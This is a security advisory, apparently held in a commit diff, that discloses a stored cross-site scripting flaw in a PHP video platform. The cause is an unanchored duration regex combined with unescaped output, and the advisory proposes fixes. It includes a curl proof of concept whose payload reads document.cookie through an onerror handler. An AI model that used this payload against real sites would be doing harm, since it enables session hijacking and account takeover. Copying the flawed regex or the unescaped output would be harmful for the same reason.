+ "details": "## Summary\n\nThe `isValidDuration()` regex at `objects/video.php:918` uses `/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/` without a `$` end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via `echo Video::getCleanDuration()` on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting.\n\n## Details\n\n**Input entry point:** `objects/aVideoEncoderReceiveImage.json.php:208`\n\n```php\n// Line 203-211\nif (!empty($_REQUEST['duration'])) {\n $video->setDuration($_REQUEST['duration']);\n}\n```\n\n**Insufficient validation:** `objects/video.php:918`\n\n```php\nstatic function isValidDuration($duration) {\n // ...\n return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);\n // Missing $ anchor here -----------------------------------^\n}\n```\n\nThe regex matches `00:00:01` at the start of the string but ignores everything after it. A payload like `00:00:01</time><img src=x onerror=alert(1)><time>` passes validation.\n\n**No sanitization in output function:** `objects/video.php:3463-3480`\n\n```php\npublic static function getCleanDuration($duration = \"\") {\n $durationParts = explode(\".\", $duration);\n $duration = $durationParts[0];\n $durationParts = explode(':', $duration);\n if (count($durationParts) == 1) {\n return '0:00:' . static::addZero($durationParts[0]);\n } elseif (count($durationParts) == 2) {\n return '0:' . static::addZero($durationParts[0]) . ':' . static::addZero($durationParts[1]);\n }\n return $duration; // Returns full string unmodified for 3+ colon parts\n}\n```\n\nWith the payload `00:00:01</time><img src=x onerror=alert(1)><time>`, exploding by `:` yields 3+ parts, so the full unsanitized string is returned.\n\n**Unescaped output sinks:**\n\n1. `view/trending.php:72`:\n```php\n<time class=\"duration\"><?php echo Video::getCleanDuration($value['duration']); ?></time>\n```\n\n2. `view/include/playlist.php:159`:\n```php\n<time class=\"duration\"><?php echo Video::getCleanDuration(@$value['duration']); ?></time>\n```\n\n3. `objects/video.php:7200` (gallery thumbnail generation):\n```php\n$img .= \"<time class=\\\"duration\\\"...>\" . $duration . \"</time>\";\n```\n\nNo Content-Security-Policy headers are set. The application uses raw PHP templates with no auto-escaping framework.\n\n## PoC\n\n1. Authenticate as a user with upload permission and obtain a `video_id_hash` for a video (visible in encoder API responses or via the upload flow).\n\n2. Send the malicious duration:\n\n```bash\ncurl -X POST \"https://target/objects/aVideoEncoderReceiveImage.json.php\" \\\n -d \"videos_id=VIDEO_ID\" \\\n -d \"video_id_hash=HASH\" \\\n -d 'duration=00:00:01</time><img src=x onerror=alert(document.cookie)><time>'\n```\n\n3. The `isValidDuration()` regex matches the `00:00:01` prefix and allows the full string to be stored.\n\n4. Visit the trending page (`/view/trending.php`) or any playlist containing the poisoned video. The injected HTML breaks out of the `<time>` tag and the `onerror` handler executes JavaScript in the victim's browser context.\n\n## Impact\n\n- **Session hijacking**: Attacker can steal session cookies of any user (including administrators) who views a page listing the poisoned video (trending, playlists, search results, channel pages).\n- **Account takeover**: Stolen admin session cookies grant full platform control.\n- **Phishing**: Attacker can inject fake login forms or redirect users to malicious sites.\n- **Worm potential**: Since the XSS fires on commonly-visited listing pages (trending), it can propagate without targeted delivery — any visitor is a victim.\n\nThe attack requires only upload-level permissions (low privilege) and impacts all users who view any page rendering the poisoned video's duration (high blast radius).\n\n## Recommended Fix\n\n**Fix 1 — Anchor the regex** (`objects/video.php:918`):\n\n```php\n- return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration);\n+ return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}(\\.[0-9]+)?$/', $duration);\n```\n\n**Fix 2 — HTML-escape all duration output** (defense in depth):\n\nIn `view/trending.php:72`:\n```php\n- <time class=\"duration\"><?php echo Video::getCleanDuration($value['duration']); ?></time>\n+ <time class=\"duration\"><?php echo htmlspecialchars(Video::getCleanDuration($value['duration']), ENT_QUOTES, 'UTF-8'); ?></time>\n```\n\nIn `view/include/playlist.php:159`:\n```php\n- <time class=\"duration\"><?php echo Video::getCleanDuration(@$value['duration']); ?></time>\n+ <time class=\"duration\"><?php echo htmlspecialchars(Video::getCleanDuration(@$value['duration']), ENT_QUOTES, 'UTF-8'); ?></time>\n```\n\nIn `objects/video.php:7200`:\n```php\n- $img .= \"<time class=\\\"duration\\\"...>\" . $duration . \"</time>\";\n+ $img .= \"<time class=\\\"duration\\\"...>\" . htmlspecialchars($duration, ENT_QUOTES, 'UTF-8') . \"</time>\";\n```\n\nBoth fixes should be applied: the regex fix prevents storage of invalid data, and the output escaping provides defense in depth against any other code path that might store unvalidated durations.",
0 commit comments